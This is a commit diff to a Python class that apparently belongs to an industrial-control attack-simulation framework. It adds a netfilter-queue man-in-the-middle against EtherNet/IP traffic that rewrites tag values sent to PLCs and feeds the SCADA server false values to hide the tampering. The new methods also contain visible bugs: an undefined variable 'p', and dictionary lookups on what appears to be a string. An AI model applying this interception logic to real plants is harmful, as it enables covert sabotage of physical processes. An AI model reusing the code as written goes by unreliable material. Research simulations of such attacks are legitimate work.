@@ -22,7 +22,8 @@ class ConcealmentMiTMNetfilterQueue(PacketQueue):
2222
2323 def __init__ (self , intermediate_yaml_path : Path , yaml_index : int , queue_number : int ):
2424 super ().__init__ (intermediate_yaml_path , yaml_index , queue_number )
25- self .attacked_tag = self .intermediate_attack ['tag' ]
25+ self .attacked_tags = self .intermediate_attack ['tags' ]
26+ self .logger .debug ('Attacked tags:' + str (self .attacked_tags ))
2627 self .scada_session_ids = []
2728 self .attack_session_ids = []
2829 self .concealment_type = None
@@ -38,6 +39,70 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number:
3839
3940 self .logger .debug ('Concealment type is: ' + str (self .concealment_type ))
4041
42+ def get_attack_tag (self , a_tag_name ):
43+ for tag in self .attacked_tags :
44+ if tag ['tag' ] == a_tag_name :
45+ return tag
46+
47+ def handle_enip_response (self , ip_payload ):
48+ this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
49+ this_context = int .from_bytes (ip_payload [Raw ].load [12 :20 ], sys .byteorder )
50+ this_session_dict = None
51+
52+ # Attack values to PLCs
53+ for session in self .attack_session_ids :
54+ # We support multi tag sending, using the same session. Context varies among tags
55+ if session ['session' ] == this_session and session ['context' ] == this_context :
56+ this_session_dict = session
57+ for tag in self .intermediate_attack ['tags' ]:
58+ if this_session_dict ['tag' ] == tag ['tag' ]:
59+ if 'value' in tag ['tag' ].keys ():
60+ return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
61+
62+ elif 'offset' in tag ['tag' ].keys ():
63+ return translate_float_to_payload (translate_payload_to_float (p [Raw ].load ) + tag ['value' ],
64+ ip_payload [Raw ].load )
65+
66+ # Concealment values to SCADA
67+ for session in self .scada_session_ids :
68+ if session ['session' ] == this_session and session ['context' ] == this_context :
69+ this_session_dict = session
70+ for tag in self .intermediate_attack ['tags' ]:
71+ if this_session_dict ['tag' ] == tag ['tag' ]:
72+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
73+ if self .concealment_type == 'path' :
74+ exp = (self .concealment_data_pd ['iteration' ] == self .get_master_clock ())
75+ concealment_value = float (self .concealment_data_pd .loc [exp ][self .attacked_tags ].values [- 1 ])
76+ self .logger .debug ('Concealing with value: ' + str (concealment_value ))
77+ return translate_float_to_payload (concealment_value , ip_payload [Raw ].load )
78+ elif self .concealment_type == 'value' :
79+ concealment_value = self .intermediate_attack ['concealment_data' ]['concealment_value' ]
80+ self .logger .debug ('Concealment value is: ' + str (concealment_value ))
81+ return translate_float_to_payload (concealment_value , ip_payload [Raw ].load )
82+
83+
84+ def handle_enip_request (self , ip_payload , offset ):
85+
86+ this_session = int .from_bytes (ip_payload [Raw ].load [4 :8 ], sys .byteorder )
87+ tag_name = ip_payload [Raw ].load .decode (encoding = 'latin-1' )[54 :offset ]
88+ context = int .from_bytes (ip_payload [Raw ].load [12 :20 ], sys .byteorder )
89+
90+ self .logger .debug ('this tag is: ' + str (tag_name ))
91+ this_tag = self .get_attack_tag (tag_name )
92+
93+ self .logger .debug ('Tag name: ' + str (tag_name ))
94+ self .logger .debug ('Attack tag: ' + str (this_tag ['tag' ]))
95+ session_dict = {'session' : this_session , 'tag' : this_tag ['tag' ], 'context' : context }
96+
97+ if ip_payload [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
98+ self .logger .debug ('SCADA Req session' )
99+ self .scada_session_ids .append (session_dict )
100+
101+ else :
102+ self .logger .debug ('PLC Req session' )
103+ self .attack_session_ids .append (session_dict )
104+
105+
41106 def capture (self , packet ):
42107 """
43108 This function is the function that will run in the thread started in the setup function.
@@ -47,65 +112,29 @@ def capture(self, packet):
47112 packet and delete the original checksum.
48113 :param packet: The captured packet.
49114 """
115+
50116 try :
51117 p = IP (packet .get_payload ())
52118 if 'TCP' in p :
53- self .logger .debug ('TCP packet' )
54- if len (p ) == 118 :
55- this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
56- tag_name = p [Raw ].load .decode (encoding = 'latin-1' )[54 :57 ]
57- self .logger .debug ('Tag name: ' + str (tag_name ))
58- self .logger .debug ('Attack tag: ' + self .attacked_tag )
59- if self .attacked_tag == tag_name :
60- # This is a packet being sent to SCADA server, conceal the manipulation
61- if p [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
62- self .logger .debug ('SCADA Req session' )
63- self .scada_session_ids .append (this_session )
64- else :
65- self .logger .debug ('PLC Req session' )
66- self .attack_session_ids .append (this_session )
67-
68119 if len (p ) == 102 :
69- this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
70-
71- if this_session in self .attack_session_ids :
72- #value = translate_payload_to_float(p[Raw].load)
73-
74- if 'value' in self .intermediate_attack .keys ():
75- p [Raw ].load = translate_float_to_payload (
76- self .intermediate_attack ['value' ], p [Raw ].load )
77- elif 'offset' in self .intermediate_attack .keys ():
78- p [Raw ].load = translate_float_to_payload (
79- translate_payload_to_float (p [Raw ].load ) + self .intermediate_attack [
80- 'offset' ], p [Raw ].load )
81-
82- del p [IP ].chksum
83- del p [TCP ].chksum
84-
85- packet .set_payload (bytes (p ))
86- self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
87-
88-
89- elif this_session in self .scada_session_ids :
90- self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
91-
92- if self .concealment_type == 'path' :
93- exp = (self .concealment_data_pd ['iteration' ] == self .get_master_clock ())
94- concealment_value = float (self .concealment_data_pd .loc [exp ][self .attacked_tag ].values [- 1 ])
95- self .logger .debug ('Concealing with value: ' + str (concealment_value ))
96- p [Raw ].load = translate_float_to_payload (concealment_value , p [Raw ].load )
97- elif self .concealment_type == 'value' :
98- concealment_value = self .intermediate_attack ['concealment_data' ]['concealment_value' ]
99- self .logger .debug ('Concealment value is: ' + str (concealment_value ))
100- p [Raw ].load = translate_float_to_payload (concealment_value , p [Raw ].load )
101-
102- del p [IP ].chksum
103- del p [TCP ].chksum
104-
105- packet .set_payload (bytes (p ))
106- self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
120+ p [Raw ].load = self .handle_enip_response (p )
121+ del p [IP ].chksum
122+ del p [TCP ].chksum
123+ packet .set_payload (bytes (p ))
124+ self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
125+ packet .accept ()
126+
127+ else :
128+ if len (p ) == 118 :
129+ self .handle_enip_request (p , 57 )
130+ elif len (p ) == 116 :
131+ self .handle_enip_request (p , 56 )
132+ else :
133+ packet .accept ()
134+ return
107135
108136 packet .accept ()
137+
109138 except Exception as exc :
110139 print (exc )
111140 if self .nfqueue :
0 commit comments